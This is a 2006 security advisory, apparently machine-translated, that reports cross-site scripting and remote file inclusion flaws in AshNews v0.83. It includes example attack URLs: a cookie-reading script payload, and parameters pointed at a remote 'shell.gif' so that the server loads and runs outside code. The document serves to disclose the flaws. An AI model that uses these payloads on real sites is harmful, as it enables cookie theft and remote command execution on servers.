###########################################################################<br># Advisory #7 Title: AshWebStudio AshNews Multiple Vulnerabilities<br># <br># <br># Author: 0o_zeus_o0<br># Contact: <a href="mailto:zeus@diosdelared.com">
zeus@diosdelared.com</a><br># Website: <a href="http://Security-mx.org">Security-mx.org</a><br># Date: 01/02/2006<br># Risk: High <br># Vendor Url: <a href="http://dev.ashwebstudio.com/?section=ashnews">http://dev.ashwebstudio.com/?section=ashnews
</a><br># Affected Software: AshWebStudio AshNews <br># Non Affected: <br># <br># We Are: olimpus klan team <br>#<br>#Info:<br>#================================================================<br>#the vulneravilidad of cross site scripting allows to a kidnapping of
<br>#identity by means of the robbery of the cookie,<br>#this bug is in file ashnews.php.<br>#now also are two bugs of high gravity which allow remote <br>#cases out inclusion and the execution of commands <br>#commands in the servant,
<br>#it is considered burdens so that deformation of the site or robbery<br>#of confidential information can cause these errors<br>#they are in the archives, <br>#ashnews.php and ashheadlines.php<br>#<br>#Example cross site scripting:
<br>#================================================================<br>#<br>#http://example.com/[ashdirpath]/ashnews.php?page=showcomments&id=<script>alert(document.cookie);</script><br>#<br>#Example Remote File Inclusion:
<br>#================================================================<br><br>#http://example.com/[ashdirpath]/ashheadlines.php?pathtoashnews=<a href="http://www.example.com/shell.gif">http://www.example.com/shell.gif</a>?
<br>#<br>#http://www.example.com/[ashdirpath]/ashnews.php?pathtoashnews=<a href="http://www.example.com/shell.gif">http://www.example.com/shell.gif</a>?<br>#<br>#Solution:<br>#================================================================
<br>#<br>#reported the vendor or in <a href="http://security-mx.org">security-mx.org</a><br>#<br>#<br>#VULNERABLE VERSIONS<br>#================================================================<br>#ashnews v0.83 Other versions may also be affected.
<br>#<br>#<br>#================================================================<br>#Contact information<br>#0o_zeus_o0<br>#zeus@<a href="http://diosdelared.com">diosdelared.com</a><br>#www.Security-<a href="http://mx.org">
mx.org</a><br>#================================================================<br>#greetz: lady fire,Mi beba, olimpus klan team and all security-mx<br>##############################################################################